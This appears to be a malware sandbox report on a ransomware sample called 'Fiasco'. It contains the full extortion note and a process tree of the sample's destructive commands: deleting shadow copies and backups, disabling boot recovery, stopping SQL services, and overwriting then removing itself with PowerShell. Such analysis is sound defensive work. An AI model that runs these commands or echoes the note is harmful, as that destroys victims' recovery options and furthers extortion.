Overview

overview

10

Static

static

3

k2ufvrj.exe

windows10-2004-x64

10

k2ufvrj.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/09/2026, 20:14

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    k2ufvrj.exe
  • Size 1.3MB
  • Sample260924-yz43ysvxfz
  • SHA256 84758bd05b0176a3863c213af33e4241afd386628ce34ba033ea510826af016f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
adwaredefense_evasionevasionexecutionimpactpersistenceransomwarespyware

Malware Config

Extracted

Path

  • C:\Users\CONTACT US.txt

Ransom Note
  • Do not panic; everything is going to be just fine. Just read carefully -- WHAT HAPPENED? <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< Your network has been compromised by Fiasco. All files are encrypted using a military-grade AES encryption algorithm. A large amount of your sensitive data was exfiltrated. We usually download: - Personal data: CVs, DL, SSN, PII, NDA contracts, etc. - Financial information: documents, payrolls, bank statements, bills, transfers, budgets, annual reports, etc. - Customer data: contracts, PII, contacts, purchase agreements, etc. - Confidential: source code, trade secrets, technology, blueprints, documents, etc. - Work files, databases, legal documents, corporate correspondence. - Accounting data. - Audit reports. -- WHAT DO WE OFFER <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< If you want all your files back just the way they were And if You want to prevent your sensetive data ending up in the wrong hands, you need to contact us. Here's how: Download and install Session Private Messenger app from this url: https://getsession.org/download Make an account and send a message to this account id: 05e892bbd91a3812070997206ec5a92067006edf20bfa048dde4821c834264e008 Introduce youself using your unique Public Key. This is your Public Key: g1ds7 We use it to identify the unique key that was used to encrypt all your files. Use it to identify yourself. Wait for our reply and be patient. Do as we further instruct you. --- WHAT IF I DON'T CO-OPERATE? <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< We have the most powerful data leak site on the Internet. There are a lot of journalists, researchers and other hackers and criminals that would be interested in using your data for free. An incomplete list of risks you are facing in case of faluire to co-operate ( besides permanently losing all your files. ): - Fraud - Identity theft - Loss of customer trust and loyalty. - Damage to the company's reputation. - Legal consequences and compliance fines. - Financial losses and costs associated with data recovery. - Impact on competitive advantage and market share. - Breach of data privacy regulations and laws. - Disruption of business operations. - Reduced employee morale and productivity. - Potential for intellectual property theft. - Loss of trade secrets and proprietary information. -- KEEP IN MIND <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - No matter what the AI or the authorities say about this, there is only one way to get your files and that is through us. - You WILL get your files back. - Once you got your files, you will never hear from us or about this incident again. - Do not try to decrypt using third-party software. You will damage the files. - Do not report to the authorities. They don't care about you or your business.. - Do not hire a recovery company. They can't decrypt without the key and we made sure any other kind of recovery is impossible. - Do not hire a middleman. Speak for yourself. - Do Co-operate. -- WE HAVE DONE THIS COUNTLESS TIMES <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< - Do as we told you and there will be no FIASCO. - This situation can be fixed very smoothly as long as you do as instructed.
URLs

  • https://getsession.org/download

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (184) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Deletes System State backups 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Deletes system backups 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Deletes itself 1 TTPs 1 IoCs
    defense_evasion
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Executes a command shell one-liner 1 TTPs 17 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks SCSI registry key(s) 3 TTPs 64 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 40 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 58 IoCs
  • Suspicious use of SendNotifyMessage 45 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\k2ufvrj.exe
    "C:\Users\Admin\AppData\Local\Temp\k2ufvrj.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4148
    • C:\Windows\system32\cmd.exe
      "cmd" /C "wbadmin delete backup -all -quiet"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3944
      • C:\Windows\system32\wbadmin.exe
        wbadmin delete backup -all -quiet
        3⤵
        • Deletes system backups
        PID:2532
    • C:\Windows\system32\cmd.exe
      "cmd" /C "wbadmin.exe delete systemstatebackup -keepVersion:3"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3712
      • C:\Windows\system32\wbadmin.exe
        wbadmin.exe delete systemstatebackup -keepVersion:3
        3⤵
        • Deletes System State backups
        PID:2708
    • C:\Windows\system32\cmd.exe
      "cmd" /C "bcdedit.exe /set {default} recoveryenabled No"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2380
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} recoveryenabled No
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2900
    • C:\Windows\system32\cmd.exe
      "cmd" /C "sc stop SQLSERVERAGENT"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4368
      • C:\Windows\system32\sc.exe
        sc stop SQLSERVERAGENT
        3⤵
        • Launches sc.exe
        PID:1952
    • C:\Windows\system32\cmd.exe
      "cmd" /C "net stop SQLWriter /y"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4124
      • C:\Windows\system32\net.exe
        net stop SQLWriter /y
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4252
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop SQLWriter /y
          4⤵
            PID:4916
      • C:\Windows\system32\cmd.exe
        "cmd" /C "bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3444
        • C:\Windows\system32\bcdedit.exe
          bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
          3⤵
          • Modifies boot configuration data using bcdedit
          PID:1584
      • C:\Windows\system32\cmd.exe
        "cmd" /C "net stop SQLSERVERAGENT /y"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3392
        • C:\Windows\system32\net.exe
          net stop SQLSERVERAGENT /y
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3164
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop SQLSERVERAGENT /y
            4⤵
              PID:4152
        • C:\Windows\system32\cmd.exe
          "cmd" /C "wbadmin delete catalog -quiet"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:700
          • C:\Windows\system32\wbadmin.exe
            wbadmin delete catalog -quiet
            3⤵
            • Deletes backup catalog
            PID:2652
        • C:\Windows\system32\cmd.exe
          "cmd" /C "vssadmin.exe delete shadows /all /quiet"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3624
          • C:\Windows\system32\vssadmin.exe
            vssadmin.exe delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:1600
        • C:\Windows\system32\cmd.exe
          "cmd" /C "net stop SQLBrowser /y"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4196
          • C:\Windows\system32\net.exe
            net stop SQLBrowser /y
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2996
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop SQLBrowser /y
              4⤵
                PID:3824
          • C:\Windows\system32\cmd.exe
            "cmd" /C "wbadmin.exe delete catalog-quiet"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3620
            • C:\Windows\system32\wbadmin.exe
              wbadmin.exe delete catalog-quiet
              3⤵
                PID:3980
            • C:\Windows\system32\cmd.exe
              "cmd" /C "sc stop MSSQLSERVER"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5544
              • C:\Windows\system32\sc.exe
                sc stop MSSQLSERVER
                3⤵
                • Launches sc.exe
                PID:2016
            • C:\Windows\system32\cmd.exe
              "cmd" /C "wmic.exe shadowcopy delete"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5984
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic.exe shadowcopy delete
                3⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1892
            • C:\Windows\system32\cmd.exe
              "cmd" /C "sc stop SQLBrowser"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:4112
              • C:\Windows\system32\sc.exe
                sc stop SQLBrowser
                3⤵
                • Launches sc.exe
                PID:3040
            • C:\Windows\system32\cmd.exe
              "cmd" /C "sc stop SQLWriter"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5692
              • C:\Windows\system32\sc.exe
                sc stop SQLWriter
                3⤵
                • Launches sc.exe
                PID:2392
            • C:\Windows\system32\cmd.exe
              "cmd" /C "net stop MSSQLSERVER /y"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2620
              • C:\Windows\system32\net.exe
                net stop MSSQLSERVER /y
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:3048
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop MSSQLSERVER /y
                  4⤵
                    PID:5344
              • C:\Windows\system32\cmd.exe
                "cmd" /C "wbadmin.exe delete systemstatebackup"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:5092
                • C:\Windows\system32\wbadmin.exe
                  wbadmin.exe delete systemstatebackup
                  3⤵
                  • Deletes System State backups
                  PID:3976
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -NoProfile -Command "Start-Sleep -Seconds 2; $path = \"C:\Users\Admin\AppData\Local\Temp\k2ufvrj.exe\"; $size = (Get-Item $path).Length; $bytes = New-Object byte[] $size; (New-Object Random).NextBytes($bytes); Set-Content -Path $path -Value $bytes -Encoding Byte; Remove-Item -Path $path -Force"
                2⤵
                • Deletes itself
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:1004
            • C:\Windows\system32\vssvc.exe
              C:\Windows\system32\vssvc.exe
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:6060
            • C:\Windows\system32\wbengine.exe
              "C:\Windows\system32\wbengine.exe"
              1⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:5264
            • C:\Windows\System32\vdsldr.exe
              C:\Windows\System32\vdsldr.exe -Embedding
              1⤵
                PID:4324
              • C:\Windows\System32\vds.exe
                C:\Windows\System32\vds.exe
                1⤵
                • Checks SCSI registry key(s)
                PID:5416
              • C:\Windows\system32\userinit.exe
                C:\Windows\system32\userinit.exe
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:4168
                • C:\Windows\Explorer.EXE
                  C:\Windows\Explorer.EXE
                  2⤵
                  • Boot or Logon Autostart Execution: Active Setup
                  • Modifies registry class
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4592
              • C:\Windows\system32\userinit.exe
                C:\Windows\system32\userinit.exe
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:1312
                • C:\Windows\Explorer.EXE
                  C:\Windows\Explorer.EXE
                  2⤵
                  • Boot or Logon Autostart Execution: Active Setup
                  • Enumerates connected drives
                  • Checks SCSI registry key(s)
                  • Modifies Internet Explorer settings
                  • Modifies registry class
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  • Suspicious use of SetWindowsHookEx
                  PID:4012
              • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:4616
              • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                1⤵
                • Modifies registry class
                • Suspicious use of SetWindowsHookEx
                PID:3936

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    5
                    T1059

                    PowerShell

                    1
                    T1059.001

                    Windows Command Shell

                    1
                    T1059.003

                    System Services

                    1
                    T1569

                    Service Execution

                    1
                    T1569.002

                    Windows Management Instrumentation

                    1
                    T1047

                    Persistence

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Active Setup

                    1
                    T1547.014

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    1
                    T1547

                    Active Setup

                    1
                    T1547.014

                    Create or Modify System Process

                    1
                    T1543

                    Windows Service

                    1
                    T1543.003

                    Defense Evasion

                    Direct Volume Access

                    1
                    T1006

                    Impair Defenses

                    1
                    T1562

                    Indicator Removal

                    7
                    T1070

                    File Deletion

                    7
                    T1070.004

                    Modify Registry

                    2
                    T1112

                    Credential Access

                    Discovery

                    Peripheral Device Discovery

                    2
                    T1120

                    Query Registry

                    3
                    T1012

                    System Information Discovery

                    2
                    T1082

                    Lateral Movement

                    Collection

                    Command and Control

                    Exfiltration

                    Impact

                    Inhibit System Recovery

                    6
                    T1490

                    Service Stop

                    1
                    T1489

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    {64795E6F-049B-41AA-A222-DFC09C253578}.2.ver0x0000000000000001.db.secure
                    • Path C:\ProgramData\Microsoft\Windows\Caches\{64795E6F-049B-41AA-A222-DFC09C253578}.2.ver0x0000000000000001.db.secure
                    • Size 1KB
                    • SHA256 ead295780bee3a8687abebf639153037cf46125ab86c5e0a29e6bc47f3f40372
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    {6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db.secure
                    • Path C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000002.db.secure
                    • Size 297KB
                    • SHA256 b097538165d28fb2a89f62fe799510ea1b40ca36d8989689b82f3fa0c5a651a3
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    {DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.secure
                    • Path C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.secure
                    • Size 639KB
                    • SHA256 f664175d4b78a82daf0effcdc7dfda71c5e2574d14d3decb7611d54713f1dd97
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    WRITEUNINSTALL.EX_.SECURE
                    • Path C:\USERS\ADMIN\DESKTOP\WRITEUNINSTALL.EX_.SECURE
                    • Size 721KB
                    • SHA256 af9c49086dfcab4073364f5de1e398e52d4480f03247b39bc9dd168fb2971ab5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    prep_Activatable Class_Hermes_perf.cache
                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                    • Size 599B
                    • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    CONTACT US.txt
                    • Path C:\Users\CONTACT US.txt
                    • Size 3KB
                    • SHA256 851a43859b13f389e1979b9f488487ea104876db271c9ca8f9aefa251c74c723
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    memory/1004-1612-0x000001CCAEC00000-0x000001CCAEC22000-memory.dmp
                    Download

                    memory/3936-1435-0x0000019581FC0000-0x0000019581FE0000-memory.dmp
                    Download

                    memory/3936-1417-0x00000195801E0000-0x00000195802E0000-memory.dmp
                    Download

                    memory/3936-1415-0x00000195801E0000-0x00000195802E0000-memory.dmp
                    Download

                    memory/3936-1416-0x00000195801E0000-0x00000195802E0000-memory.dmp
                    Download

                    memory/3936-1461-0x00000195847F0000-0x0000019584810000-memory.dmp
                    Download

                    memory/3936-1436-0x0000019584450000-0x0000019584550000-memory.dmp
                    Download

                    memory/3936-1437-0x0000019584270000-0x0000019584290000-memory.dmp
                    Download